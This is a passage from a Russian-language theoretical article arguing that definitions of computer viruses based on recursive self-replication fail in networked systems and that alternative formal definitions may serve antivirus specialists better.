Определение вируса основано на:
a) свойстве рекурсивной репликации;
b) методе сравнения образца с эталоном.

Более того: в реальном вирусе может не содержаться даже этой информации — в буквальном смысле! Вместо нее вирус, например, может включать в себя сколь угодно сложный криптоалгоритм, а ключом к этому алгоритму может служить произвольная комбинация объектов среды, способная появиться в ней в неопределенном будущем. Это означает, что до некоторого неизвестного момента, до выполнения средой некоторого неизвестного при анализе условия принципиальное отсутствие в коде вируса каких-либо связей с понятиями как репликации, так и рекурсии можно гарантировать с точностью математического доказательства. Но даже в этом случае вирус, слившийся в свойствах со средой и образовавший с ее элементами сложную, распределенную в пространстве и времени систему, сохраняет возможность размножения кода.

Таким образом, в современных больших информационных системах формализация и поиск признаков рекурсивной репликации в отдельных объектах представляются бесполезными даже с теоретической точки зрения. А рассматривать каждый объект в совокупности со всей средой — невозможно. Если в качестве входных данных для анализа единичного объекта требуется подстановка в абстрактную формулу полной информации о состоянии практически бесконечной (из-за огромного размера и перманентной изменчивости) среды — значит, выбран тупиковый путь. Ранее мы уже показали, что Интернет является единой автопрограммируемой средой, единой вычислительной системой, события в которой могут менять код в отдельно взятом системном блоке. Поэтому все эти события должны учитываться в формальном определении вируса, если оно основано на свойствах кода — как в абстрактной модели, так и на практике. И то, и другое исключено.

В условиях глобальной сети, где возможны неограниченные комбинации прямых и обратных связей между элементами, очевидны и давно применяются методы массовой репликации кода, не имеющие отношения к классическим, рекурсивным. Если опасный код заражает произвольный системный блок этой сети, то не имеет значения, является ли это заражение рекурсивным — или же дочерний код сформирован родительским по гораздо более сложному алгоритму. Алгоритм может быть любым. А на основе неизвестного алгоритма нельзя строить какие-либо точные модели, применимые на практике.

Не следует забывать, что в реальных вычислительных системах вирусы программируются (т.е. управляются) людьми. А все то, что управляется человеком, почти не поддается формализации.

Из изложенного следует вывод, что формальное определение компьютерного вируса, основанное не на признаке рекурсивной репликации, а на принципиально иных признаках, во многих случаях может оказаться наилучшим.

Это не значит, что понятие рекурсивной функции перестало иметь значение в контексте вирусов. Оно остается крайне важным, хотя и не может рассматриваться как определяющее. Оно не позволяет точно позиционировать цель, явление, предмет угрозы и ее смысловую сущность с использованием приемлемого математического аппарата. Поэтому лучше всегда иметь в виду альтернативы. Отчетливое понимание специалистом по информационной безопасности нескольких разных определений вируса, соответствующих им теоретических моделей и аспектов антивирусной защиты дает наибольшие возможности для решения практических задач.

P.S. Конечно, возможны и другие определения, кроме приведенных в статье. Их можно поискать в Сети или создать самостоятельно. Главное, что надо при этом помнить: по нормам формальной логики грамотное определение должно позволять, как минимум, определить искомый объект в ряду других :)

Читайте также: